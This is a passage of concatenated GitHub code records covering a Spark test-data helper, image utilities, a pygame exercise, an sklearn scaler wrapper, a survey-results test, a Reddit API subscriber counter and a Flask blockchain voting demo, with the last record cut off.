spark = SparkSession.builder.appName(\"test\").master(\"local\").getOrCreate()\n\n spark.conf.set(\"spark.executor.memory\", \"120g\")\n spark.conf.set(\"spark.driver.memory\", \"120g\")\n spark.conf.set(\"spark.task.cpu\", \"1\")\n spark.conf.set(\"spark.executor.extraJavaOptions\", \"-XX:+UseCompressedOops\")\n spark.conf.set(\"spark.python.worker.memory\", \"2g\")\n spark.conf.set(\"spark.executor.cores\", \"1\")\n self.spark = spark\n\n else:\n self.spark = spark\n\n def get_weight_data(self):\n \"\"\"\n\n :return:\n \"\"\"\n num_samples = 100\n\n def tmp(x):\n _x = np.exp(x)\n\n _x = _x / (1 + _x)\n\n if _x < 0.5:\n return 0\n else:\n return 1\n\n df1 = pd.DataFrame(data=np.arange(num_samples), columns=[\"id1\"])\n df1[\"v1\"] = [MLVectors.dense([float(val) for val in np.random.random(5, ).tolist()]) for _ in range(num_samples)]\n df1[\"pred\"] = df1[\"v1\"].apply(lambda x: x.sum())\n df1[\"pred_clf\"] = df1[\"pred\"].apply(tmp)\n\n def tmp(x):\n _x = np.exp(x)\n\n _x = _x / (1 + _x)\n\n if _x < (1.0 / 3.0):\n return 1\n elif _x < (2.0 / 3.0):\n return 2\n else:\n return 3\n\n df1[\"pred_multi\"] = df1[\"pred\"].apply(tmp)\n\n sdf1 = self.spark.createDataFrame(df1)\n\n sdf2 = sdf1.withColumnRenamed(\"id1\", \"id2\").withColumnRenamed(\"v1\", \"v2\")\\\n .drop(\"pred\").drop(\"pred_clf\").drop(\"pred_multi\")\n\n return sdf1, sdf2\n\n def get_model_data(self):\n \"\"\"\n\n :return:\n \"\"\"\n df1 = pd.DataFrame(data=np.arange(100), columns=[\"id\"])\n\n for i in range(1, 5):\n df1[\"col_{}\".format(i)] = [float(val) for val in np.random.random(100, ).tolist()]\n\n df1[\"pred\"] = df1[[\"col_{}\".format(i) for i in range(1, 5)]].sum(axis=1)\n\n def tmp(x):\n _x = np.exp(x)\n\n _x = _x / (1 + _x)\n\n if _x < 0.5:\n return 0\n else:\n return 1\n\n df1[\"pred_clf\"] = df1[\"pred\"].apply(tmp)\n\n def tmp(x):\n _x = np.exp(x)\n\n _x = _x / (1 + _x)\n\n if _x < (1.0 / 3.0):\n return 1\n elif _x < (2.0 / 3.0):\n return 2\n else:\n return 3\n\n df1[\"pred_multi\"] = df1[\"pred\"].apply(tmp)\n\n sdf1 = self.spark.createDataFrame(df1)\n\n sdf2 = self.spark.createDataFrame(df1.drop([\"pred\", \"pred_clf\", \"pred_multi\"], axis=1))\n\n return sdf1, sdf2\n\n def get_nn_data(self):\n \"\"\"\n\n :return:\n \"\"\"\n\n df1 = pd.DataFrame(data=np.arange(5), columns=[\"id1\"])\n df1[\"v1\"] = [MLVectors.dense(np.random.random(5,).tolist()) for _ in range(5)]\n\n sdf1 = self.spark.createDataFrame(df1)\n\n sdf2 = sdf1.withColumnRenamed(\"id1\", \"id2\").withColumnRenamed(\"v1\", \"v2\")\n\n return sdf1, sdf2\n\n\n", "repo_name": "ed-turner/look-a-like", "sub_path": "tests/utils/testdata/spark.py", "file_name": "spark.py", "file_ext": "py", "file_size_in_byte": 3264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 13, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 43, "usage_type": "call"}, {"api_name": "pyspark.ml.linalg.Vectors.dense", "line_number": 44, "usage_type": "call"}, {"api_name": "pyspark.ml.linalg.Vectors", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.random.random", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 77, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 119, "usage_type": "call"}, {"api_name": "pyspark.ml.linalg.Vectors.dense", "line_number": 120, "usage_type": "call"}, {"api_name": "pyspark.ml.linalg.Vectors", "line_number": 120, "usage_type": "name"}, {"api_name": "numpy.random.random", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 120, "usage_type": "attribute"}]} {"seq_id": "9038937136", "text": "from scipy.misc import imread,imresize,imsave\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\nfrom skimage.color import rgb2gray\n\n\ndef read(path):\n img = imread(path)\n return img\n\ndef save(path, img):\n img = imsave(path, img)\n\ndef show(img,title='', cmap=None):\n plt.figure()\n plt.title(title)\n plt.imshow(img, cmap=cmap)\n plt.show()\n\ndef to_binary(img):\n for i in range(img.shape[0]):\n for j in range(img.shape[1]):\n val = img[i][j]\n if val < 0.5:\n img[i][j] = 0\n else:\n img[i][j] = 1\n return img\n\nif __name__ == \"__main__\":\n print(\"Don't run it directly\")\n", "repo_name": "icemansina/CUHKSZ_DIP", "sub_path": "Week3/Tutorial/python_example/demo.py", "file_name": "demo.py", "file_ext": "py", "file_size_in_byte": 674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 50, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scipy.misc.imread", "line_number": 9, "usage_type": "call"}, {"api_name": "scipy.misc.imsave", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]} {"seq_id": "13138499916", "text": "# WRITE YOUR SOLUTION HERE:\r\nimport pygame\r\nfrom random import *\r\n\r\npygame.init()\r\nwindow = pygame.display.set_mode((640, 480))\r\n\r\nrobot = pygame.image.load(\"robot.png\")\r\n\r\nrobot_x = 0\r\nrobot_y = 0\r\ntarget_x = 0\r\ntarget_y = 0\r\n\r\nwhile True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n target_x = event.pos[0]\r\n target_y = event.pos[1]\r\n\r\n if target_x > robot_x and target_x < robot_x+robot.get_width() and target_y > robot_y and target_x < robot_x+robot.get_width():\r\n robot_x = randint(0,640-robot.get_width())\r\n robot_y = randint(0,480-robot.get_height())\r\n\r\n window.fill((0, 0, 0))\r\n window.blit(robot, (robot_x, robot_y))\r\n pygame.display.flip()\r\n\r\n if event.type == pygame.QUIT:\r\n exit()", "repo_name": "manuelmfelix/mooc.fi_python_course_exercises", "sub_path": "part13-15_robot_location.py", "file_name": "part13-15_robot_location.py", "file_ext": "py", "file_size_in_byte": 840, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 27, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "71730261985", "text": "import logging\n\ndef compare(expected, actual):\n \"\"\"\n Checks each key from the expected json in the actual json.\n If all values checked match, returns True. Otherwise, returns False.\n \"\"\"\n all_match = True\n for key, value in expected.iteritems():\n if not value==actual.get(key):\n logging.error(\"'%s' key did not match. Expected '%s', got '%s'\" % (key, value, actual.get(key)))\n all_match = False\n return all_match\n", "repo_name": "chkile/minicurso-octobertest", "sub_path": "json_helper.py", "file_name": "json_helper.py", "file_ext": "py", "file_size_in_byte": 463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.error", "line_number": 11, "usage_type": "call"}]} {"seq_id": "71600346464", "text": "from numpy.typing import ArrayLike\nfrom sklearn.utils.validation import check_is_fitted\nfrom sklearn.exceptions import NotFittedError\nfrom typing import Any\nimport warnings\n\nfrom float.data.preprocessing import BaseScaler\n\n\nclass SklearnScaler(BaseScaler):\n \"\"\"Wrapper for sklearn scaler functions.\n\n Attributes:\n scaler_obj (Any): A scikit-learn scaler object (e.g. MinMaxScaler)\n \"\"\"\n def __init__(self, scaler_obj: Any, reset_after_drift: bool = False):\n \"\"\"Inits the sklearn scaler.\n\n Args:\n scaler_obj: A scikit-learn scaler object (e.g. MinMaxScaler)\n reset_after_drift: A boolean indicating if the scaler will be reset after a drift was detected.\n \"\"\"\n super().__init__(reset_after_drift=reset_after_drift)\n\n self.scaler_obj = scaler_obj\n self._has_partial_fit = True\n self._must_be_fitted = False\n self._validate()\n\n def partial_fit(self, X: ArrayLike):\n \"\"\"Updates the scaler.\n\n Args:\n X: Array/matrix of observations.\n \"\"\"\n if self._must_be_fitted:\n self.scaler_obj.fit(X)\n self._must_be_fitted = False\n elif self._has_partial_fit:\n self.scaler_obj.partial_fit(X)\n\n def transform(self, X: ArrayLike) -> ArrayLike:\n \"\"\"Scales the given observations.\n\n Args:\n X: Array/matrix of observations.\n\n Returns:\n ArrayLike: The scaled observations.\n \"\"\"\n return self.scaler_obj.transform(X)\n\n def reset(self):\n \"\"\"Resets the scaler.\n\n We automatically re-fit the scaler upon the next call to partial_fit.\n \"\"\"\n self._must_be_fitted = True\n\n def _validate(self):\n \"\"\"Validates the provided scaler object.\n\n Raises:\n TypeError: If the sklearn scaler object does neither have a partial_fit nor a fit function.\n TypeError: If the sklearn scaler object does not have a transform function.\n \"\"\"\n # Check if scaler object has a partial fit function\n partial_fit_func = getattr(self.scaler_obj, \"partial_fit\", None)\n if not callable(partial_fit_func):\n # Check if scaler object has a fit function\n fit_func = getattr(self.scaler_obj, \"fit\", None)\n if not callable(fit_func):\n raise TypeError(\"{} is not a valid sklearn scaler (missing 'fit' or 'partial_fit' function).\".format(\n type(self.scaler_obj).__name__))\n else:\n try:\n self._has_partial_fit = False\n warnings.warn(\n \"The {} scaler has no partial_fit function and will thus not be updated, which may mitigate \"\n \"the overall performance.\".format(type(self.scaler_obj).__name__))\n check_is_fitted(self.scaler_obj) # Check if scaler object has already been fitted\n except NotFittedError:\n self._must_be_fitted = True\n warnings.warn('Sklearn scaler object {} has not been fitted and will be fitted on the first batch '\n 'of observations.'.format(type(self.scaler_obj).__name__))\n pass\n\n # Check if scaler object has a transform function\n transform_func = getattr(self.scaler_obj, \"transform\", None)\n if not callable(transform_func):\n raise TypeError(\"{} is not a valid sklearn scaler (missing 'transform' function).\".format(\n type(self.scaler_obj).__name__))\n", "repo_name": "haugjo/float", "sub_path": "float/data/preprocessing/sklearn_scaler.py", "file_name": "sklearn_scaler.py", "file_ext": "py", "file_size_in_byte": 3590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "float.data.preprocessing.BaseScaler", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.typing.ArrayLike", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.typing.ArrayLike", "line_number": 42, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 78, "usage_type": "call"}, {"api_name": "sklearn.utils.validation.check_is_fitted", "line_number": 81, "usage_type": "call"}, {"api_name": "sklearn.exceptions.NotFittedError", "line_number": 82, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 84, "usage_type": "call"}]} {"seq_id": "8506465175", "text": "#!/usr/bin/python3\n\"\"\" function that queries the Reddit API and returns the number of subscribers\n (not active users, total subscribers) for a given subreddit.\n If an invalid subreddit is given, the function should return 0\n\"\"\"\nimport requests\n\n\ndef number_of_subscribers(subreddit):\n url = \"http://www.reddit.com/r/{}/about.json\".format(subreddit)\n headers = {\n \"User-Agent\": \"Reddit Subscribers Checker (by your_username)\"\n }\n\n response = requests.get(url, headers=headers)\n\n if response.status_code == 200:\n data = response.json()\n\n subscribers = data[\"data\"][\"subscribers\"]\n return subscribers\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n number_of_subscribers()\n", "repo_name": "Sess254/alx-system_engineering-devops", "sub_path": "0x16-api_advanced/0-subs.py", "file_name": "0-subs.py", "file_ext": "py", "file_size_in_byte": 735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 15, "usage_type": "call"}]} {"seq_id": "10629918894", "text": "import unittest\nimport tornado.web\nimport tornado.testing\nfrom tornado.httputil import HTTPHeaders\nfrom test.test_runner import BaseAsyncTest\nimport time\nimport rethinkdb as r\nimport logging\nimport random\nimport services.lorem_ipsum as lorem_ipsum\nfrom models.basemodel import BaseModel\nfrom models.user import User\nfrom models.group import Group\nfrom models.survey import Survey\nfrom models.survey_response import SurveyResponse\nfrom models.question_response import QuestionResponse\nfrom models.question import Question\nfrom unittest import mock\nfrom handlers.base_handler import BaseHandler\n\n\nclass TestSurveyResults(BaseAsyncTest):\n responses_to_make = 5\n survey_response_ids = []\n question_response_ids = []\n survey_id = \"\"\n survey_data = {}\n user_id = \"\"\n user_data = {}\n group_id = \"\"\n question_data = []\n question_ids = []\n q1 = {\n 'title': 'free response',\n \"response_format\": Question().RESPONSE_FREE,\n \"options\": []\n }\n q2 = {\n 'title': 'multiple choice',\n \"response_format\": Question().RESPONSE_MULTIPLE_CHOICE,\n \"options\": [\"alpha\", \"beta\", \"gamma\", \"delta\"]\n }\n q3 = {\n 'title': 'true or false',\n \"response_format\": Question().RESPONSE_TRUE_OR_FALSE,\n \"options\": [True, False]\n }\n q4 = {\n 'title': 'rating',\n \"response_format\": Question().RESPONSE_RATING,\n \"options\": []\n }\n questions = []\n survey_data = {}\n\n def setUpClass():\n logging.disable(logging.CRITICAL)\n user_ids = [User().create_generic_item() for i in range(TestSurveyResults.responses_to_make)]\n TestSurveyResults.user_ids = user_ids\n TestSurveyResults.user_data = User().get_item(TestSurveyResults.user_id)\n TestSurveyResults.generic_group_id = Group().create_generic_item()\n for question in [TestSurveyResults.q1, TestSurveyResults.q2, TestSurveyResults.q3, TestSurveyResults.q4]:\n question_id = Question().create_item(question)\n TestSurveyResults.questions.append(question_id)\n TestSurveyResults.survey_data = {\n 'id': 'test_survey',\n 'item_type': 'Group',\n 'item_id': TestSurveyResults.generic_group_id,\n 'item_name': 'Generic Group',\n 'creator_id': 'meta',\n 'creator_name': 'meta',\n 'responses': [],\n 'created_timestamp': time.time(),\n 'closed_timestamp': None,\n 'deleted': False,\n 'questions': TestSurveyResults.questions\n }\n Survey().create_item(TestSurveyResults.survey_data)\n return\n\n def test_survey_responses(self):\n self.respond_to_surveys()\n results = Survey().get_results('test_survey')\n formatted_results = Survey().get_formatted_results('test_survey')\n # logging.info(formatted_results)\n for question_response_id in self.question_response_ids:\n question_response = QuestionResponse().get_item(question_response_id)\n question_id = question_response['question_id']\n response_data = question_response['response_data']\n self.assertIn(response_data, results[question_id])\n for question_id, value in list(results.items()):\n for formatted_result_data in formatted_results:\n if formatted_result_data['id'] != question_id:\n continue\n else:\n self.assertEqual(len(value), len(formatted_result_data['results']))\n self.assertEqual(sorted(value), sorted(formatted_result_data['results']))\n response_format = formatted_result_data['response_format']\n if response_format == Question().RESPONSE_FREE:\n self._test_formatted_response_free(formatted_result_data)\n elif response_format == Question().RESPONSE_RATING:\n self._test_formatted_response_rating(formatted_result_data)\n elif response_format == Question().RESPONSE_TRUE_OR_FALSE:\n self._test_formatted_response_true_or_false(formatted_result_data)\n elif response_format == Question().RESPONSE_MULTIPLE_CHOICE:\n self._test_formatted_response_multiple_choice(formatted_result_data)\n else:\n self.fail(\"unknown response format: {0}\".format(response_format))\n break\n return\n\n def test_survey_results_api(self):\n formatted_results = Survey().get_formatted_results('test_survey')\n with mock.patch.object(BaseHandler, 'get_current_user') as m:\n m.return_value = self.user_ids[0]\n response = self.fetch('/api/results/test_survey', method=\"GET\")\n result = tornado.escape.json_decode(response.body)\n self.assertEqual(response.code, 200)\n self.assertEqual(result, formatted_results)\n\n def _test_formatted_response_free(self, formatted_result_data):\n self.assertEqual(formatted_result_data['bar_data'], [])\n self.assertEqual(formatted_result_data['pie_data'], [])\n return\n\n def _test_formatted_response_rating(self, formatted_result_data):\n logging.info(formatted_result_data)\n bar_data = formatted_result_data['bar_data']\n series_data = bar_data['series'][0]\n self.assertNotEqual(bar_data, [])\n self.assertEqual(len(series_data), len(bar_data['labels']))\n self.assertEqual(sorted(bar_data['labels']), [1, 2, 3, 4, 5, 6, 7, 8, 9, 10])\n self.assertEqual(len(bar_data['labels']),\n len(series_data),\n \"length of {0} does not match length of {1}\".format(bar_data['labels'], series_data))\n self.assertEqual(formatted_result_data['pie_data'], [])\n return\n\n def _test_formatted_response_true_or_false(self, formatted_result_data):\n self.assertEqual(formatted_result_data['bar_data'], [])\n self.assertNotEqual(formatted_result_data['pie_data'], [])\n return\n\n def _test_formatted_response_multiple_choice(self, formatted_result_data):\n self.assertNotEqual(formatted_result_data['bar_data'], [])\n self.assertEqual(formatted_result_data['pie_data'], [])\n return\n\n def respond_to_surveys(self):\n survey_response_ids = []\n question_response_ids = []\n questions = self.questions\n\n def _respond_to_questions(questions):\n d1 = {}\n d2 = {}\n d3 = {}\n d4 = {}\n d1['question_id'] = questions[0]\n d2['question_id'] = questions[1]\n d3['question_id'] = questions[2]\n d4['question_id'] = questions[3]\n d1['response_format'] = Question().RESPONSE_FREE\n d2['response_format'] = Question().RESPONSE_MULTIPLE_CHOICE\n d3['response_format'] = Question().RESPONSE_TRUE_OR_FALSE\n d4['response_format'] = Question().RESPONSE_RATING\n d1['response_data'] = lorem_ipsum.lorem_ipsum()\n d2['response_data'] = random.choice([\"alpha\", \"beta\", \"gamma\", \"delta\"])\n d3['response_data'] = random.choice([True, False])\n d4['response_data'] = random.randint(0, 10)\n r1 = QuestionResponse().create_item(d1)\n r2 = QuestionResponse().create_item(d2)\n r3 = QuestionResponse().create_item(d3)\n r4 = QuestionResponse().create_item(d4)\n return [r1, r2, r3, r4]\n\n for responder_id in self.user_ids:\n question_responses = _respond_to_questions(questions)\n for response_id in question_responses:\n question_response_ids.append(response_id)\n response_data = {\n 'question_responses': question_responses,\n 'responder_id': responder_id,\n 'survey_id': 'test_survey',\n 'response_time': time.time()\n }\n survey_response_id = SurveyResponse().create_item(response_data)\n survey_response_ids.append(survey_response_id)\n self.survey_response_ids = survey_response_ids\n self.question_response_ids = question_response_ids\n return\n\n def tearDownClass():\n logging.disable(logging.NOTSET)\n # Drop the database\n for question_id in TestSurveyResults.questions:\n Question().delete_item(question_id)\n Survey().delete_item('test_survey')\n for survey_response in TestSurveyResults.survey_response_ids:\n SurveyResponse().delete_item(survey_response)\n for question_response in TestSurveyResults.question_response_ids:\n QuestionResponse().delete_item(question_response)\n for responder_id in TestSurveyResults.user_ids:\n User().delete_item(responder_id)\n", "repo_name": "SFII/scq", "sub_path": "test/test_survey_results.py", "file_name": "test_survey_results.py", "file_ext": "py", "file_size_in_byte": 8836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "test.test_runner.BaseAsyncTest", "line_number": 22, "usage_type": "name"}, {"api_name": "models.question.Question", "line_number": 35, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 40, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 45, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.disable", "line_number": 57, "usage_type": "call"}, {"api_name": "logging.CRITICAL", "line_number": 57, "usage_type": "attribute"}, {"api_name": "models.user.User", "line_number": 58, "usage_type": "call"}, {"api_name": "models.user.User", "line_number": 60, "usage_type": "call"}, {"api_name": "models.group.Group", "line_number": 61, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 63, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "models.survey.Survey", "line_number": 78, "usage_type": "call"}, {"api_name": "models.survey.Survey", "line_number": 83, "usage_type": "call"}, {"api_name": "models.survey.Survey", "line_number": 84, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 87, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 99, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 101, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 103, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 105, "usage_type": "call"}, {"api_name": "models.survey.Survey", "line_number": 113, "usage_type": "call"}, {"api_name": "unittest.mock.patch.object", "line_number": 114, "usage_type": "call"}, {"api_name": "handlers.base_handler.BaseHandler", "line_number": 114, "usage_type": "argument"}, {"api_name": "unittest.mock.patch", "line_number": 114, "usage_type": "attribute"}, {"api_name": "unittest.mock", "line_number": 114, "usage_type": "name"}, {"api_name": "tornado.web.escape.json_decode", "line_number": 117, "usage_type": "call"}, {"api_name": "tornado.web.escape", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tornado.web", "line_number": 117, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 127, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 163, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 164, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 165, "usage_type": "call"}, {"api_name": "models.question.Question", "line_number": 166, "usage_type": "call"}, {"api_name": "services.lorem_ipsum.lorem_ipsum", "line_number": 167, "usage_type": "call"}, {"api_name": "services.lorem_ipsum", "line_number": 167, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 168, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 169, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 170, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 171, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 172, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 173, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 174, "usage_type": "call"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "models.survey_response.SurveyResponse", "line_number": 187, "usage_type": "call"}, {"api_name": "logging.disable", "line_number": 194, "usage_type": "call"}, {"api_name": "logging.NOTSET", "line_number": 194, "usage_type": "attribute"}, {"api_name": "models.question.Question", "line_number": 197, "usage_type": "call"}, {"api_name": "models.survey.Survey", "line_number": 198, "usage_type": "call"}, {"api_name": "models.survey_response.SurveyResponse", "line_number": 200, "usage_type": "call"}, {"api_name": "models.question_response.QuestionResponse", "line_number": 202, "usage_type": "call"}, {"api_name": "models.user.User", "line_number": 204, "usage_type": "call"}]} {"seq_id": "32390918683", "text": "import json\r\nimport hashlib\r\nfrom operator import itemgetter\r\n\r\nfrom flask import Flask, render_template\r\nfrom time import time\r\nfrom uuid import uuid4\r\n\r\n\r\nclass Blockchain(object):\r\n difficulty_level = \"0000\"\r\n\r\n def __init__(self):\r\n self.chain = []\r\n self.current_transaction = []\r\n genesis_Hash = self.Block_Hash(\"genesis_block\")\r\n self.append_block(\r\n Previous_block_hash=genesis_Hash,\r\n nonce=self.PoW(0, genesis_Hash, [])\r\n )\r\n\r\n # Hash the block\r\n def Block_Hash(self, block):\r\n # json.dumps covert the Python Object into JSON String\r\n blockEncoder = json.dumps(block, sort_keys=True).encode()\r\n return hashlib.sha256(blockEncoder).hexdigest()\r\n\r\n # Proof of Work\r\n def PoW(self, index, Previous_block_hash, transactions):\r\n nonce = 0\r\n time1 = time()\r\n while self.validate_proof(index, Previous_block_hash,\r\n transactions, nonce) is False:\r\n nonce += 1\r\n print(nonce)\r\n time_total = time() - time1\r\n print(time_total)\r\n print(nonce)\r\n return nonce\r\n\r\n # Makes sure the PoW is correct\r\n def validate_proof(self, index, Previous_block_hash, transactions, nonce):\r\n data = f'{index},{Previous_block_hash},{transactions},{nonce}'.encode()\r\n hash_data = hashlib.sha256(data).hexdigest()\r\n return hash_data[:len(self.difficulty_level)] == self.difficulty_level\r\n\r\n # add the block to the chain\r\n def append_block(self, nonce, Previous_block_hash):\r\n block = {\r\n 'index': len(self.chain),\r\n 'transactions': self.current_transaction,\r\n 'timestamp': time(),\r\n 'nonce': nonce,\r\n 'Previous_block_hash': Previous_block_hash\r\n }\r\n self.current_transaction = []\r\n self.chain.append(block)\r\n return block\r\n\r\n # add the vote to the block\r\n def add_vote(self, election, voter_ID, candidate_vote):\r\n self.current_transaction.append({\r\n 'candidate_vote': candidate_vote,\r\n 'voter_ID': voter_ID,\r\n 'election': election\r\n })\r\n return self.last_block['index'] + 1\r\n\r\n # return the last block in the block chain\r\n @property\r\n def last_block(self):\r\n return self.chain[-1]\r\n\r\n # Counts all the votes that have occurred for each candidate\r\n @property\r\n def all_blocks(self):\r\n temp = list(filter(lambda transactions: transactions['transactions'], self.chain))\r\n temp2 = list(map(itemgetter('transactions'), temp))\r\n vote1 = 0\r\n vote2 = 0\r\n for i in temp2:\r\n vote = list(map(itemgetter('candidate_vote'), i))\r\n vote = int(vote[0])\r\n if vote == 1:\r\n vote1 += 1\r\n elif vote == 2:\r\n vote2 += 1\r\n\r\n return vote1, vote2\r\n\r\n # Checks the voter ID to see if they already voted\r\n @property\r\n def check_vote_status(self):\r\n temp = list(filter(lambda transactions: transactions['transactions'], self.chain))\r\n temp2 = list(map(itemgetter('transactions'), temp))\r\n for i in temp2:\r\n voted = list(map(itemgetter('voter_ID'), i))\r\n if voted == list(map(itemgetter('voter_ID'), i)):\r\n print(\"you have already voted\")\r\n return True\r\n\r\n return False\r\n\r\n\r\n# Flask , #routes\r\napp = Flask(__name__, template_folder=\"templates\")\r\nblockchain = Blockchain()\r\nnode_identifier = str(uuid4()).replace('-', \"\")\r\n\r\n\r\n# routes ####################################################################################\r\n@app.route('/blockchain', methods=['GET'])\r\ndef full_chain():\r\n response = {\r\n 'chain': blockchain.chain,\r\n 'length': len(blockchain.chain)\r\n }\r\n return render_template(\"blockchain.html\", data=response)\r\n\r\n\r\n@app.route('/', methods=['GET'])\r\ndef vote_page():\r\n return render_template(\"vote.html\")\r\n\r\n\r\n@app.route('/candidate1', methods=['GET'])\r\ndef add_vote_candidate1():\r\n if not blockchain.check_vote_status:\r\n blockchain.add_vote(\r\n election=\"0\",\r\n voter_ID=node_identifier,\r\n candidate_vote=1\r\n )\r\n last_block_hash = blockchain.Block_Hash(blockchain.last_block)\r\n index = len(blockchain.chain)\r\n nonce = blockchain.PoW(index, last_block_hash, blockchain.current_transaction)\r\n block = blockchain.append_block(nonce, last_block_hash)\r\n response = {\r\n 'message': \"new block has been added\",\r\n 'index': block['index'],\r\n 'hash_of_previous_block': block['Previous_block_hash'],\r\n 'nonce': block['nonce'],\r\n 'transaction': block['transactions']\r\n }\r\n return render_template(\"Candidate1vote.html\"), response\r\n else:\r\n return render_template(\"AlreadyVoted.html\")\r\n\r\n\r\n@app.route('/candidate2', methods=['GET'])\r\ndef add_vote_candidate2():\r\n if not blockchain.check_vote_status:\r\n blockchain.add_vote(\r\n election=\"0\",\r\n voter_ID=node_identifier,\r\n candidate_vote=2\r\n )\r\n last_block_hash = blockchain.Block_Hash(blockchain.last_block)\r\n index = len(blockchain.chain)\r\n nonce = blockchain.PoW(index, last_block_hash, blockchain.current_transaction)\r\n block = blockchain.append_block(nonce, last_block_hash)\r\n response = {\r\n 'message': \"new block has been added\",\r\n 'index': block['index'],\r\n 'hash_of_previous_block': block['Previous_block_hash'],\r\n 'nonce': block['nonce'],\r\n 'transaction': block['transactions']\r\n }\r\n return render_template(\"Candidate2vote.html\"), response\r\n else:\r\n return render_template(\"AlreadyVoted.html\")\r\n\r\n\r\n@app.route('/results', methods=['GET'])\r\ndef results():\r\n vote1, vote2 = blockchain.all_blocks\r\n response = {\r\n 'vote1': vote1,\r\n 'vote2': vote2\r\n }\r\n return render_template(\"results.html\", data=response)\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True, host='127.0.0.1', port=int(8000))\r\n", "repo_name": "d0gecat/BlockchainFinal", "sub_path": "BlockchainFinal/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 6189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": 